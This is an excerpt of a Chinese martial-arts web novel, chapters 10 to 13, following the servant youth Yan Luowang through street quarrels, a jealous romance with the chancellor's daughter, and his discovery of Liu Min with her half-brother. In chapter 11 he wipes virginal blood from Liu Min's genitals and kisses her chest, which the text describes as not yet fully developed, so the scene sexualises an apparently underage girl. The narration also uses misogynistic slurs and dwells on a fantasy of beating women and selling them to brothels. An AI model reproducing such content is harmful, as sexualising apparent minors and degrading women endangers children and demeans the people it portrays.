热门搜索


[武侠]在妓院里出生的男人(全本)-7

  


第二集 第十章 再加一脚

颜罗王看得不知有多欢喜,嘿,他活了这么多年,终于看到一个比他能哭女孩了,他以前碰见的女孩都是不哭的,就像他的两个姐姐,他就没见她们哭过,他还以为女孩子是不会哭的呢,原来也会!

他使劲地拍着手掌,喊道:“哭得好,再哭,大声点,还装得不够像!”

兰容责备道:“罗王,检点些!”

兰心不哭了,逼近颜罗王,道:“别以为我不敢动你?你要清楚你是什么身份,如果不是看出姑姑的面子上,我早就给你一剑了,你这小混蛋,欠揍!”

颜罗王在她耳边轻声道:“如果不是看在夫人的面子上,我也不会对你客气,小娘们,我操,别挡着我的脸!”

“你找死?”兰心脸胀红,眼睛突睁,盯着颜罗王。

兰容道:“你们两个在干嘛?这是街上,别在这里挡着别人走路。”

兰心回首对兰容道:“姑姑,我不干什么,我只是关心这小黑鬼,想问一下他的脸是被谁打的?”

“哦?是吗?”兰容仔细地看着颜罗王,道:“罗王,你的脸被谁打的?”

站在兰心旁边的李清玉拿眼色警告颜罗王,让他放聪明点,颜罗王果然很聪明,笑道:“夫人,刚才有个吸血的臭苍蝇来叮我,我就一巴掌往自己脸上甩,用力过头,所以有点痕迹。”

兰心“扑哧”笑了出来,道:“那你打死那只苍蝇没有?”

颜罗王道:“还没,她闪得快,但总有一天她会死在我手里的,那时叫她翻身不得。”

李清玉的脸色越来越难看了,却又不好发作,只是在心里狠狠地骂着颜罗王:死黑球,敢说我是臭苍蝇?回府里之后,你就知道谁死在谁手里,那时看谁不能翻身?

兰心又道:“姑姑,你们先走吧,我觉得颜罗王很有趣,想带他一起去玩玩,我们年轻人在一起无拘束,玩得开心些,你们没有我们在身边,应该也玩得开心些,是吧?”

李丞相笑道:“你这小精灵,想赶走我们还说得这么好听?好吧,你们年轻人自己玩,我和你姑姑在城里看看,玉儿,你也不用跟着我这老头了。”

兰容放心不下,道:“罗王,你还是跟着我吧。”

颜罗王把脸从兰心的肩膀上露出来,笑道:“夫人,你放心去玩吧,我不会乱来的,你不用担心我。”

兰容道:“那就好,你记住我的话,我们先走了。”

李丞相道:“容儿,你似乎挺关心颜罗王这孩子?”

兰容道:“是的,我挺喜欢他,大哥,你为何不介意他与清玉她们在一起?”

李丞相笑道:“你既不把他当下人看,我当然也不会把他当作一个普通的下人,他是个不错的孩子,我觉得他将来会有出息,你知道的,我懂一点相术,看人还是有那么一两下的。”

兰容一笑,李丞相看得眼发直。

兰心看着他们走出视线,回首对颜罗王道:“黑鬼,我们该算算帐了。”

颜罗王收眼看定她,习惯性地把右手举到嘴边,舌头轻舔一下拇指,道:“是的,该算算总帐了,可是,怎么算,都只有你兰心欠我颜罗王!我胸口此刻还在痛,兰心!”他用尽所有的力气喝喊出“兰心”这两个字,以发泄他心中的怒气!

兰容走开了,再也不必顾虑什么。

兰心惊奇道:“我欠你?”

“很奇怪吗?”颜罗王冷笑,他的双手抓紧胸前的衣襟,用力地向两旁一撕,当街露出他黝黑而结实的胸膛。

街上的人都停下来看着他们!

颜罗王的胸膛上,一道触目惊心的伤疤从他的右胸横过他的左胸,像一道盘延的铁线蛇!

兰心震退一步,道:“是你?”

颜罗王的右手食指压在伤疤上,从右到左顺着伤疤划了一线,抬首,一双黑亮的眼睛盯着面前的兰心,道:“让你失望了,虽然你伤得很深,但我还是命长了点!兰心,我说过,我颜罗王,从不欠你,只有你,欠着我!”

燕飞走过来道:“颜罗王,当时师妹只是无心之过,她并不是真的想杀你。”

颜罗王道:“我对你的印象不错,但你的话,在我面前没有任何说服力,当有人把剑刺入你心口,然后对你说,我并不想杀你,你会相信吗?”

燕飞诚实地道:“我不会。”

颜罗王点点头,冲着兰心道:“兰心,你不是要和我算帐吗?我等着你,有种的话就再往我胸膛补一剑,我为你敞着胸膛,来吧,小娘们,拿出你的剑!”

兰心咬着双唇,眼泪在眼眶里闪烁,道:“你以为我不敢吗?”

李清玉喊道:“颜罗王,你疯了吗?”

颜罗王道:“本来想忍过今天再说,但看着你我就心中有气,他妈的不发泄出来,老子不被你杀死,也要憋死,既然都是死,还装什么孙子?”

兰心突然冷静下来,道:“你走吧,我不想再见到你!”

颜罗王笑道:“你今天不抓住机会杀了我,总有一天你会后悔的。”

兰心道:“我从来不后悔,哪怕当初用剑分开你的胸膛,我也不曾有半点后悔,因为你根本就不够格令我兰心后悔。”

“我总有一天会你这里留下一道伤!”颜罗王走前一步,逼近兰心,在他说话的同时,他的右手食指在兰心的左胸脯上的柔软处“咚咚”地点了两下,哪知腹部一阵巨痛,他整个人飞退七八步,四脚朝天地仰躺在地上,他抱腹忍着痛坐了起来,道:“李清玉,她踢我也就罢了,你竟然与她一起出脚踢我小肚?”

原来就在他的手指点在兰心的乳峰之时,两女同时飞出一脚,把他踢飞出去。

“你敢用你的脏手碰我的——”兰心终是无法说出颜罗王的脏手碰了她身上的什么地方。

李清玉在同一时间怒吼道:“颜罗王,你在我面前碰女人?”

颜罗王看着前面两个女人,虽然她们表面看起来,气质各不相同,一个是高贵,一个是娇蛮,但生起气来,如同一人,他暗咒:都他妈的是泼妇一个!

燕飞给了地上的颜罗王同情的一眼,道:“师妹,清玉,我们走吧,不要理他了,被师姑知道你们又要挨骂了,我看得出师姑很疼他,你们也出了气,就放过他吧。”

兰心怒哼一声,狠瞪了颜罗王一眼,转身就走。

李清玉走前说了一句话:“颜罗王,回到府里有你好受的。”

颜罗王看着他们走远,勉强站了起来,朝四周的人吼道:“看什么看,没见过老婆打老公吗?让开,老子回去休了她们!”

众街坊都清楚他是府台大人的跟班,也都不敢太得罪他,让出一条道给他逃亡。

颜罗王垂头丧气地往刘府走,心中暗道:“这两个小女人的武功如此厉害,看来我颜罗王报仇的日子很是渺茫,早知就不要一时冲动,让她们踢得我胃都几乎裂开了。唉,如果忍一时,兰心不知道我是谁,我以后故意和她好,找机会就能暗算她了,现在连暗算的机会都没了。要报仇,是必须想过别的方法,最好是学得比她们更厉害的武功,那么我可以正面把她们打得趴在地上,再狠狠地多加两脚,方泄我心头之恨!打完之后,把她们统统卖到妓院去,看她们还能不能像今日这般嚣张?可恶的女人,老子总有一天叫你们知道我们男人不是好欺负的!”
第二集 第十一章 血未干时
颜罗王回到刘府,他心中的气还未消,气崩崩地走到柴房前,就把房门当作李清玉兰心似的,使劲地一脚踹过去,听得一声木片断裂之响,他心中一惊——他平时出来后,门都是不上锁的,只有晚上他睡觉时,才会把门反锁了,现在他人在外面,门怎么从里面反锁了?

门扇被他无意而含着愤怒的一脚强行踢开,他的眼睛也跟着圆睁,那张木床上此时正有两具雪白的肉体交缠着,赫然是刘福生和刘敏?!

仰躺在床上的刘敏全身僵直,扭脸看着门前的颜罗王,眼睛里一片慌恐!

刘福生在刹那间停止动作,朝颜罗王吼道:“出去!”

颜罗王的脑袋几乎停止思考,听得刘福生的大吼,反射地转身要走,可是走了两步,他又垂着首回来,道:“对不起,打扰你们了,我想我应该替你们把门关上。”

他低头把两扇门拉合在一起,然后转身走了十多步,突然跪倒在地上,紧握的双拳,在同一时间里,用尽全身所有的劲力擂在地上。

他的牙关咬得阵阵地响,眼睛几乎要突出他的眼眶,脖子上的青筋条条爆呈!

人的感情,在很多时候,显得平淡,连自己也不会清楚对另一方的感情的有和无或者是深和浅,而通常爆发,都在某一瞬间。

所有的深刻的痛苦,都是在刹那间来临!

当颜罗王看见刘敏被刘福生压在床上时,他才知道他的心原来是会痛的,无法解释的巨大的痛苦和愤怒冲击着他年轻的心灵,他在那一刻几乎被击倒,这是他无法预料的。

他与刘敏的朝日相处,差不多一年来,都不见得有任何特殊,然而就是在这种平淡的生活里,感情在不知不觉中渐渐地积累着、增长着,他却无法检视这种感情存在,他又怎么能够预料,原来检视出心中的那一段感情的方式是如此的惨酷?

“敏儿叫你进去!”刘福生走过他身旁时,冷冷地说出这一句。

颜罗王清醒过来,慢慢地使自己冷静,让脸上的肌肉松弛,当他自觉得脸上应该有着微笑的时候,他才站起来,转身走入柴房。

刘敏躺上床上,还是一丝不挂,她的眼睛却挂着晶莹的泪珠。

颜罗王把门掩了,转身看着床上赤裸的刘敏,久久无言。

刘敏启了启唇,想说话却又无法说出,只是流着泪呆呆地看着面前的颜罗王。

两人就这么长久地对望着,刘敏终于哽咽出声,道:“黑眼,你恨我?”

颜罗王移动步伐,走到床前,手抚过她的脸,擦去她的泪,道:“你哭了。”

刘敏道:“黑眼,为什么不回答我?”

颜罗王仰首叹息,道:“如果我说不恨,你会快乐吗?”

刘敏强忍住哭,道:“黑眼,我并不知道你真的在意我,为什么、为什么你昨日却又不要我?那时我说给你的?”

颜罗王低首凝视着她那桃红的脸,叹道:“我需要一点时间来求证你的和我的心,然而时间证明了一些我不愿知道的东西。”

刘敏紧咬着唇,鲜血破唇而溢。

颜罗王道:“你昨天是因为要气少爷才故意对我好的,是吗?”

刘敏喃喃地道:“我不知道,黑眼,求你不要这么问,我真的不知道,我刚才和他时,我不知道自己为何想起你?”

颜罗王道:“敏儿,穿上衣服吧,会着凉的。”

刘敏道:“黑眼,如果你要我,我现在可以的,我愿意给你,真的!”

颜罗王的手指在她流血的唇上轻轻地擦拭着,道:“敏儿,不知该怎么和你说,但你听我一句话,好吗?”

刘敏凝视着颜罗王,道:“嗯!”

颜罗王道:“当你的处女之血还未擦干时,不要就对另一个男人说你愿意。来,我替你把血擦干!”

“用我的肚兜好吗?”刘敏把床上的肚兜拿给颜罗王。

颜罗王接过她的肚兜,已经不是昨日那一件了,这件是白色的,他拿在手中好一会,才颤抖着去擦拭她的下体,她呻吟出声,颜罗王回首看她,道:“我弄疼你了?我会轻些。”

刘敏道:“黑眼,为什么你还要对我这么好?我对不起你的,你对我越好,我的心就越疼。”

颜罗王道:“因为你一直以来都对我很好。”

刘敏的眼泪又溢了出来,颜罗王道:“不要哭,少爷是个不错的男人,至少比我要好,我根本就不配让你流泪的。”

刘敏哭道:“可是我和他,我和他——”

颜罗王知道她要说什么,她和刘福生之间只能是一个错误,无论她多爱刘福生,她和他也不可能在一起,因为他们名义上是兄妹,她的母亲是刘福生的妻妾,在这个家族,是不会允许他们的结合的。

刘敏道:“黑眼,你爱过我吗?”

颜罗王已经擦拭完毕,把肚兜交给她,她接过来看着白色上面的鲜红,喃喃地道:“我真傻!为何要问你这样的话?爱与不爱,都不比这白布上面的血迹鲜明。”

颜罗王道:“我只想问你,为何要选择在这里?”

刘敏一愣,盯视着颜罗王,道:“我不知道,是他带我来这里的,我以为他要找你,可是你不在,他就说他要我,我无法拒绝他!黑眼,我不知道你会出现的,我真的不想让你看见。”

颜罗王抚摸着她的脸,理了理她凌乱的长发,道:“可以坐起来吗?我替你把衣服穿上,我只能为你做这些了,小姐!”

刘敏突然哭道:“黑眼,求你不要叫我小姐,你昨天还叫我一声敏儿的,你以后能都叫我敏儿吗?”

颜罗王坚定地道:“能,敏儿!”

刘敏挣扎着坐在床上,道:“黑眼,在你为我穿上衣服之前,我还要问你一次,我现在给你,你真的不要吗?”

颜罗王无奈地摇摇头,他知道面前的刘敏虽对他有一些感情,但她现在的心里真爱的是刘福生。

刘敏痛苦地道:“是因为我的身体已经脏了?”

颜罗王平静地道:“敏儿,童贞在一个女人的一生中只有一次,无论什么样的女人,当她甘心献上她的第一次时都是无比纯洁的。我不敢要你,就因为不想破坏你的纯洁,你懂吗?”

刘敏道:“黑眼,我不懂,我只知道你以后都不会要我了。”

颜罗王道:“也许并不是你想的那样。”

刘敏道:“黑眼,为何你不问我是否爱过你?”

颜罗王拿起她的亵裤,准备替她穿上,道:“因为不愿知道答案。”

刘敏眼神一黯,幽幽道:“我只是想得到你的一问,哪怕你问了我也不会说的,然而你却连问也不问,我到此时才知道你对我很好,对你自己却很惨忍,你的心是冷酷的。黑眼,我发觉我从来都没有真的了解你,你像你那双眼睛里面隐藏的东西一样,很难解。”

颜罗王无言,默默地替她着衣裤,当他要为她把肚兜穿上时,她道:“不要穿它了!”

颜罗王取过她的外衣,挂在她的肩上,她的双手伸入衣袖里,颜罗王为她扣纽扣时,看着她那雪白而未曾完全成长的少女蓓蕾,痴痴地,忘了帮她扣衣服上纽扣,他想起了昨天刘敏说的让他解开她胸前的遮掩,然而今日解开的人不是他,他却要替她重新遮掩上了。

刘敏道:“黑眼,你怎么了?”

颜罗王抬首看着她,忽然埋首下去,轻吻着她的酥胸,刘敏没有抗拒,任由他吻着,她的唇微微轻启,欲呻吟却又无声,只是她的手渐渐地伸到颜罗王的背轻柔地揉搓着,许久之后,颜罗王抬首起来,无言地继续替她穿衣。

直到替她穿好所有的衣服,颜罗王才道:“敏儿,我想一个人静静。”

刘敏默默地叠着手中肚兜,然后把它紧抓在手中,缓缓地穿好鞋,下床的那一刻突然呻吟,身体跟着往下蹲,颜罗王扶住她,道:“你能走吗?”

刘敏仰脸凝视了他,道:“我应该能的。”

她让颜罗王放开她,刚走了两步,又停了下来,回首道:“黑眼,能吻我一次吗?”

颜罗王走过去搂住她,吻上她的唇,就在他们接吻那一刻,门突然打开,进来的是李清玉,她看到眼前的景象,呆了一会,忽然又闪身消失了。

两人的唇分开,刘敏惊道:“是谁?”

颜罗王一双黑亮的眼看着门外,平静地道:“一个无关紧要的人。”

刘敏道:“那,黑眼,我走了。”

颜罗王看着刘敏出去,轻掩上门,突然拿起墙角的斧头,嚎叫着向柴房里的柴抡过去,死命地劈砍着那些已经砍好的干柴——

刘敏走出房门后,并没有再往前走,她等到颜罗王把门掩了之后,回过头来看着柴房的门,听到了里面的歇斯底里的喝喊声和杂乱声,她的眼泪再次流了出来,喃喃自语道:“黑眼,我不是故意的,求你原谅我!”她掩脸哭泣,转身走离了柴房。
第二集 第十二章 旧情已逝
颜罗王累了,躺倒在床上睡了一觉,醒来之时,看见了李清玉,他道:“你什么时候来的?”

李清玉答非所问道:“睡在处女的鲜血上,是不是很有成就感?”

这话就像一根刺戳中颜罗王心中那道裂伤,他坐了起来,盯着眼前的李清玉,冷然地道:“我的事与你无关!”

李清玉脸色微变,道:“你别嘴硬,如果让刘贤达知道,你就别想在这里待下去。还有,你记得你向我承诺过什么?”

颜罗王断然道:“很遗憾,忘了!”

李清玉凝视着颜罗王,一字一字地道:“我再告诉你一遍,你承诺过不能再碰女人的!”

颜罗王凄然一笑,道:“为什么你一定要我不得碰女人?如果是因为你对我有意思,而不准我碰别的女人,或许还说得过去,可是我知道你根本不会瞧得起我!清玉小姐,对女人承诺是男人的义务,而男人给女人的承诺,十个有十一个是假的,为什么会多了一个呢?因为他还有一个预留的承诺没有说出来,但诚然那也假的。你作为一个知书达理的人,怎么会相信这样荒唐的承诺?一个男人说他不碰女人,你竟也相信?不知该说你可爱还是说你幼稚了!”

李清玉看着颜罗王,纤手却往房门一指,道:“你可以看看,我把门反锁了。”

颜罗王道:“刚断了一根,想不到你这么快又找了合适的,真该谢谢你,不然我又要费力了。”

李清玉道:“刘福生弄断的?”

颜罗王惊道:“你的意思是刘福生踢断的?我东窗事发的事也是他告诉你的吧?唉,既然你知道我在这里不干好事,为何你还要来?”

李清玉怒道:“因为你这混蛋令人恼,像你这种人,得了我的一吻,就该一辈子满足了,还敢欺骗别的女孩子?”

颜罗王道:“你来是要收拾我了?”

李清玉道:“连同今日在街上的事一并算,我非得让你知道欺骗一个女人的后果。”

颜罗王撇撇嘴,又躺下去,翻身背对着她。

李清玉的脚提起来,踹在他的臀部上,道:“起来!否则我踢死你,没用的东西,连个女人也不敢面对。”

颜罗王翻身,吼道:“别以为你有武功我就怕你,有种你就不用武功,看谁怕谁?”

李清玉被激,不经思考就道:“不用就不用,我李清玉少少比你高出一个头,对付你这种人,以女人平常的实力也能把你打倒,来吧,混球!”

颜罗王坐正,面对着她,道:“真的不用武功?你发誓?”

李清玉仰脸闷哼道:“你以为我是你吗?我李清玉说出来的话就是信用象征,绝不反悔!”

颜罗王缓缓地在床上站起来,道:“我们摔跤!”接着他亲吻了他的拇指,在他的右手放下来的一刻,他突然朝面前的李清玉扑下去,哪知李清玉的人影奇迹般地在他眼前消失,他整个人就扑到地板上,扑了个狗趴屎,他还来不及喊痛,李清玉就跨坐在他的背上,把他的两手扳转过来,让他动弹不得,同时听得她道:“颜罗王,敢偷袭我李清玉?”

颜罗王喊道:“别用女人的屁股坐着我,我会衰一辈子的。”

李清玉坐在颜罗王的腰背上,得意地道:“你不是说要一巴掌打死我吗?看谁打死谁!怎么?还是翻不了身?也怪,本来要把别人打得翻不了身的,如今自己却被别人打得没翻身的机会,滋味如何?”

颜罗王此时气上心头,把刚才刘敏的事也压下去了,怒吼道:“李清玉,以后老子不把你压死,老子就不叫颜罗王!”他的双腿曲上来,踢中李清玉的背部。

李清玉被踢,另一个拳头就擂在他的后脑勺,他的脸就和地板来了一个亲吻,李清玉狠道:“你再敢踢我,我就把你的腿打断了。说,为什么要和刘敏好?”

颜罗王道:“打死不说!慢着,你叫我不要和你说话的?我怎么忘了?”

李清玉道:“那三个条件,你一个也做不到,我已经正式撤消了,你不但碰了别的女人,还干了那么可耻的事,我今天定要把你打个半死。”

颜罗王使劲挣扎,欲图翻身,可是他此刻重复了小时候被他的两个小姐姐压在地上的场景,怎么也不能翻身过来把李清玉压倒,这实在叫他泄气,后来干脆放弃了挣扎,趴在地上,任由她骑着他,李清玉晒道:“刚才不是说要和我打架吗?怎么两下子就不动了?看你劈柴的力气大,还是本小姐力气大!”

颜罗王不屑地道:“老子违背承诺还是在一天之后,女人违背承诺就他妈的一秒钟之内完成,说好不用武功,话刚下就东飘西躲的,现在倒他妈的骑着老子充女皇,老子不是好汉你也不是什么好货色!”

李清玉又擂了他一拳,道:“说,你到底有没有和刘敏做过那回事?”

颜罗王吐出嘴里的泥土,道:“刘福生不是和你说了吗?”

李清玉道:“我信不过他的话,我要你亲口说。”

颜罗王无奈地道:“刚才你自己也在门口看见了,何必还要我说?”

李清玉骂道:“我只看见你们两个狗男女在亲嘴,其他的我没眼见!”

颜罗王道:“我还是觉得你在意这些事来得没有理由,我和她做了什么对你很重要吗?你堂堂一个相国千金,干嘛要管起我这挡事来?”

李清玉气道:“就凭你是我李清玉初吻的对象,死黑鬼!”

颜罗王摇摇头,道:“你先放开我的双手,我不挣扎就是了,麻烦你松手,我的手快要断了,我还要靠它们劈柴的。”

李清玉想了想,擂了他一拳,然后放开他的双手,颜罗王的双手得到解放,赶紧用手拍拍脸,把脸上的泥土拍干净,然后双手托着脸颊,自由自在的,任由李清玉坐骑着他——果然有几分大将风度——比韩信还他妈的厉害些,韩信至少还知道从别人胯下爬过去,他颜罗王却在女人的胯下而无动于衷,实在是高!

李清玉道:“说,你有没有?”

颜罗王平静而坚定地道:“有。”

李清玉愣了一阵,下一刻她的粉拳就不停地招呼颜罗王的脑袋,颜罗王被她突然的一击,双手向两旁滑开,脸庞就随着她拳头的降临而不停地与地面进行零距离的亲密接触,还好李清玉没有在拳头上用了内力,不然,他颜罗王一百个脑袋也玩完了。

李清玉打得痛快淋漓,也终于打得厌倦了,趴倒在颜罗王的背,嘴儿在他的耳边微张娇喘,颜罗王许久才让脑袋清醒过来,感觉到他背上的李清玉除了呼吸就没别的动作了,悄悄地扭脸回看,这女人闭着双眼,好像睡着了?!

颜罗王心想:你不会吧?刚才还打得那么起劲?现在就梦周公?比我的三姐还要能睡,真是的,要睡也别在我背上睡。

他不敢乱动,怕惊醒了她,他就又得挨拳头了,可是这样子究竟不是办法,他就用双手把两人的身体撑了起来,然后左手独撑在地,右手背转过去扶住李清玉的身体,从地上跪起来,两手就背转身后托住李清玉的臀部,把她背了起来,轻放她在床上之后,他就一屁股坐倒在地上,看着睡眠中的李清玉,心想:这女人睡着时比她醒着时可爱一百倍,大概是昨晚因献出了初吻而太激动了一晚没睡好,今日又为了揍老子而累歪歪,出了气,心中大爽,就把老子当作肉床了。

敏儿?唉,敏儿呀,你真的爱错了,刘福生竟然如此对待你,他不承担责任也就罢了,还做出如此卑鄙的事,幸好是李清玉,这女人虽然神经过敏些,却不是个心狠毒辣的女人,不然我颜罗王就永无翻身的日子了。初吻?既然她如此执着,就当作我的初吻是她吧,反正印象最深刻的也就是和她那一次了,咬得老子唇破血流,臭娘们!

颜罗王经李清玉这一劫,把刘敏带来的悲痛多少淡化了些,况且他是个有苦藏在心中的人,对于与刘敏这一段没有开始过也没有结局的感情,他选择了埋藏在内心,他的人生中有着太多的苦痛,当年萧路君和罗喜的死以及罗芙绿翠的失踪对他幼小的心灵造成的伤痛比刘敏给他的痛苦不知残酷几多倍,那时的他也能够承受得住,何况是现在?

床上的李清玉翻了个身,梦呓道:“砍柴的,吻了人家还敢动别的女人?捶死你!”

颜罗王傻傻地笑着,他的心里忽然从刘敏给他的悲痛中分裂出一丝甜蜜的幸福感,接着他站了起来,替她盖好被单,然后呆呆地看了一会,转身开门出去了,没走上几步,又回头把虚掩着的门锁了,这是他到这里之后,出去之前第一次从外面把门锁紧。

他走着的时候并没有目的性,只是习惯性地要去兰容的寝室,他知道,兰容如果回来了,是不会讨厌他到她哪里去的,然而他心中又希望兰容没有回来,这个他叫她作大夫人的女人,很多时候,都像个小女孩一样依赖着他——当然那是在只有他们两个人的时候,她才会把这种依赖表现出来。

他走近兰容的房门,却听到里面有说话的声音,仔细一听,不是别人,却是李丞相。

只听李丞相道:“容儿,明天我要到扬州城周边的几个县走走,回来再陪你了。”

兰容道:“大哥,容儿就祝你一路顺风。”

李丞相道:“容儿,我总觉得这次我回来,你对疏远了许多,难道你对贤达有了感情?”

兰容道:“大哥,当初若非我与贤达从小就有媒约,或许我们之间就不会这么痛苦,然而当年喜欢大哥的人也不只我一个,所以容儿才没有选择不顾一切地和大哥在一起,因为除了我兰容,大哥还有很多选择,最后我还是选择了服从家人的安排与贤达完婚,令我感动的是,贤达明知我嫁给他之前已经失身,却从来没有问过我什么,我和他相处二十多年,他虽然很少进我的房,却对我很好,从来不违背我的意愿。他这几年发福了,但不可否认,他年青时也是高大好看的男人,所以容儿虽不爱他,但也不讨厌他,况且他始终是容儿的丈夫,这么久相处下来,感情总是有的。而我和你之间,根本就不可能,即使曾经多爱你,可是时间总能冲淡一些东西,况且这样子令我觉得对不起贤达,我们不能继续下去了。你今日问我,五年前你到扬州来时,我还亲热地叫你福哥,为何现在却大大方方地叫你作大哥?其实这些年我已经想通了,我终不能成为你的妻子,那么就做你的妹妹吧,以后你都是容儿的大哥了,容儿不想再与你发生超乎兄妹之间的任何关系,无论是肉体上还是心灵上,容儿都不能那么做了。大哥,你能接受容儿这个妹妹吗?”

房里许久无言,房外的颜罗王却听得心中大讶:原来夫人和丞相是老相好!

李丞相无奈地道:“看来没有别的选择了,容儿,一直以来都觉得欠着你,也该还你清静了,李福保证他以为不会对你往歪处想,只把你当成他的妹妹,唉,其实我们都老,何必说情谈爱的呢?”

兰容感激地道:“大哥——”忽然顿了一下,喝道:“外面是谁?”

颜罗王转身拔腿就跑,兰容打开门时,看见了他即将消失的背影,暗叹一声。

李福走到她的身后,问道:“容儿,是谁?”

兰容道:“没有人,是容儿多疑了。”

李福道:“那就这样吧,容儿,我先告退了,明天记得出来送送我。”

“嗯,好的大哥!”兰容看着李福走远,掩上门,抚摸着胀大的肚皮,幽幽地道:“我兰容半辈子都过去了,不料还爱上这么一个人,是错还是对?”
第二集 第十三章 再见亲爱
颜罗王跑回柴房,打开门锁,看到李清玉还在睡,他就反锁了门,坐在地上,守在床前,呆呆地看着她,她的美艳的脸庞显得很平静,胸脯有节奏地起伏着,像笼罩了云的隐约起伏着的山峦。

颜罗王的眼睛从她的胸脯上移到她的脖子上,她颈项白腻而圆润,丰腴的美是有别于刘敏的瘦俏的,他忽然好想用手去抚摸她的颈项,然而他不敢,虽然这个少女此时静静地躺在他的床上,可是醒来之后不知又要对他干起什么凶巴巴的事情来了。

他在凝视着熟睡中的李清玉的时候,有时也会突然想起刘敏,只是每想起刘敏的时候,他的悲伤也会随之减少一些。刘敏或者是他的感情萌芽时段的一个印记,但不是感情的全部,这种无根的感情来得飘渺,去得也无声。如果没有李清玉的出现,或许刘敏留给他的伤痛会长久些,可是偏偏李清玉来了,她的到来,不管是基于何种原因,也不管李清玉是否真的有那么一点点在意他,他的心情却渐渐地转移到了李清玉的身上。这是难以解释的,也许是因为他受伤的心,需要一种相应的慰安,而李清玉,恰恰就作了他的感情的慰藉。

客观上来说,男人的爱,很多时候要用他的眼睛去发现去感受,所以一个女人的美丽就很容易得到一个男人的爱。李清玉的姿色,是刘敏无法攀及的。此时她睡着的颜容,在颜罗王看来,可以用天香国色来形容——没办法,他颜罗王读书少,用不上几个词儿,就觉得这个最合适了,似乎还有一个花容月貌他是知道的,不过他不喜欢这个词,他觉得花儿呀月儿呀也不是很好看,倒不如美人儿来得妙,他心想:叫她睡美人好了,至于醒来之后嘛,勉强称泼妇。

颜罗王看着看着,入了迷,趴在床沿上就做起美梦来了,他梦见了刘敏赤裸的娇体,然后梦见李清玉的唇,再后又梦见刘敏的光滑的身体,但刘敏的脖子上的那一张脸却是李清玉的,忽见李清玉轻启双唇呼喊道:“颜罗王,颜罗王!”

颜罗王就傻傻地笑,道:“清玉,清玉,我来了!”他就准备走过去抱住李清玉,哪知晴天一个霹雳打在他的头上,他一声喊痛,醒了过来,看着床上已经坐起来的恼怒的李清玉,才知道原来刚才是一场春梦。

他揉着被李清玉打痛的头部,道:“为何打我?”

李清玉怒道:“你趴在我旁边睡,还流了一滩口水,我喊你几声,你就大叫清玉清玉我来了,你是什么意思?清玉是你叫的吗?说,你在梦里对我做了什么!”

颜罗王道:“没做什么,我没做梦,你哪见有人白日做梦的?”

李清玉道:“我不信,我就白日做过梦,你是不是在梦里想对我使坏?”

颜罗王被她一言说中,心中尴尬,争辩道:“怎么会?你躺在我身上,我颜罗王都没有碰你,何况是在梦中?”

李清玉不再问他的梦,却又问他是怎么把她弄到床上的,颜罗王道:“你很重的,压着我睡久了,我不被你压死也被你压扁,所以我就背你上床了。”

李清主瞪大眼睛道:“你背我上床?那你不是摸了我的屁股?混蛋,女人的屁股是能随便让男人摸的吗?你这砍柴的,竟敢摸本小姐的屁股,我非得砍掉你的手不可!”

颜罗王苦着脸,道:“我没有摸啦,只是碰了你的裤子而已,你的屁股在你的裤子里面,我又怎么能摸得着?”

李清玉的脸嚓的一下红起来,一掌就把颜罗王击倒在地,双脚朝前乱踢了几下,指着躺在地上的颜罗王道:“你?你还敢说?你占了本小姐的便宜,还想着脱我的——死黑鬼,下次见到我,不准和我说话,我恨死你了!”

她跳下床开了门就走了出去,剩下莫名其妙的颜罗王躺在地上看顶上的旧瓦,觉得这瓦也该换新的了,否则什么时候塌下来也是有可能的,因为他这段时日特别晦气,好像自己没惹什么人,却偏偏得罪了很多人,又发生了刘敏那件事,真是所谓的人逢雨偏遇上烂瓦——原话早就忘记了,这些道听途说的文人的东西,他颜罗王哪会懂多少?意思意思就得了,人逢雨又遇烂瓦,哈,妙!

翌日,李丞相带着他的人离去了,刘府的人都出来送行,李清玉在临走前一刻,对颜罗王悄悄地道:“黑鬼,我要恢复第三个条件,你敢碰女人,我回来就要你好看!”

刘府几乎又恢复了往日的生活状态。

刘福生在李丞相他们离开的第二天也跟着出去了,颜罗王还是不知他去什么地方,以及什么时候回来,只是替刘敏感到伤心。

刘敏整日把自己关在房里,很少出来了,即使有时在府里碰见颜罗王,也只是打声招呼,然后就垂首走过去,擦肩而过时,颜罗王总是要回头看她的背影,直到消失。

刘贤达的另外两位妾侍是不怎么出屋的,只有林鲜,时不时地出来寻找颜罗王,以图把颜罗王勾引上床,欲为人师表——教颜罗王怎样成为一个真正的男子汉,实在是伊的一片苦心呀。

颜罗王可忙了,又要砍柴,又要作兰容肚里的孩子的传声筒,又要躲避林鲜的追猎,又要替刘贤达放水,间中还要与刘贤达一起办案——刘贤达发现他的才能之后,不仅要颜罗王站在他身边办案,以便随时鼓励并宣扬他的办案能力的无人能及胜过包黑脸,而且还让颜罗王充当展小猫,在衙门里展示其砍柴以外的抓打老鼠屁股的不同寻常。

李丞相离开后的第七天,颜罗王正在柴房里砍柴,他想砍完之后到衙门去展示他的另一方面的伟大本领,所以砍得很是飞快,打着赤膊抡得手中的斧头呼呼响,突然听到背后有人道:“哟,蛮勤快的嘛!”

颜罗心头一震,停止手中的斧头,回脸道:“清玉小姐,你又来了?”

李清玉笑得甜美,道:“你好像不喜欢我回来?”

颜罗王道:“是不怎么喜欢。”

李清玉道:“你不喜欢的事,我李清玉就越高兴去做。”

颜罗王擦了擦脸上的汗,笑道:“真的?”

李清玉嘴一噘,“当然!”

颜罗王道:“我不喜欢脱裤子,你是否就高兴在我面前脱裤子了?”

“颜罗王,你要死呀!”李清玉娇叱出声,走过去就给了他一个耳光,道:“你再敢对我说这些轻薄的话,我就撕了你的嘴,没教养的家伙!”

颜罗王抚着脸,怒道:“李清玉,你他妈的有教养就不会见人就动手了,女人的屁股不是男人能随便摸的,难道男人的脸是女人随便能打的?再敢打我脸,我就把你被我摸屁股的事公开,让大家的知道相国千金的屁股是给老子摸过的,还有,嘴儿也是老子吻的。”

李清玉脸色都气青了,指着颜罗王道:“你敢说我就叫你死!”

颜罗王放下斧头,道:“别气坏了身子,你以后不打我脸,我就不说,你觉得如何?”

李清玉道:“不打你脸就不打,你身上还有很多地方可以打的。”

颜罗王突然后悔,怎么刚才忘记了这么重要的事情?不打脸是能打其他地方,一样惨!

李清玉看着颜罗王的手臂,道:“你手臂上的伤是谁咬的?”

颜罗王道:“一个女孩!”

李清玉怪怪地道:“她为什么要咬你?是不是你欺负人家了?”

颜罗王笑道:“我从来没欺负过她,倒是她以前常欺负我,她咬我,是为了让我记住她,永远地记住!”

李清玉静静地看了他一会,道:“她是你什么人?”

颜罗王想起了罗紫玫,继而想起了罗芙,想起了他的二娘三娘以及曾经爱着他的萧娘和那么对他都很好的阿姨。

